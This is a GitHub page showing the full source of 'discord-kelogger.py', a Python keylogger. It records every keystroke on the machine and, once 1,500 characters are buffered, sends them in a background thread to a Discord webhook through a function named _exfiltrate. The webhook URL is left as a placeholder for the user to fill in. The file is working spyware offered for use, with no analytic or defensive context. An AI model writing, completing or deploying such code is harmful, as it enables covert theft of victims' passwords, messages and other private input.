-
Notifications
You must be signed in to change notification settings - Fork 1
/
discord-kelogger.py
59 lines (50 loc) · 1.44 KB
/
discord-kelogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import keyboard, threading, os, sys, requests, json
_shift = False
char = ''
def _exfiltrate(_info):
_url = 'YOUR WEBHOOK HERE'
try:
payload = {
'content': _info
}
headers = {
'Content-Type': 'application/json'
}
response = requests.post(_url, data=json.dumps(payload), headers=headers)
except:
pass
def on_key_event(event):
global _shift, char
if not event.name == ('alt', 'ctrl', 'left', 'right', 'home'):
if event.name == 'space': # convert to space character
char = char + ' '
elif event.name == 'backspace': # subtract character
try:
char = char[:-1]
except:
pass
elif event.name == 'enter': # subtract character
try:
char = char + '\n'
except:
pass
elif event.name == 'shift': #handle shift
_shift = True
elif _shift == True: # convert to upper case
new = event.name.upper()
char = char + new
_shift = False
else:
char = char + event.name
if len(char) >= 1500:
x = threading.Thread(target=_exfiltrate, args=(char,))
x.daemon = True
x.start()
char = ''
#keyboard.unhook_all()
keyboard.on_press(on_key_event)
try:
keyboard.wait()
except KeyboardInterrupt:
pass
sys.exit()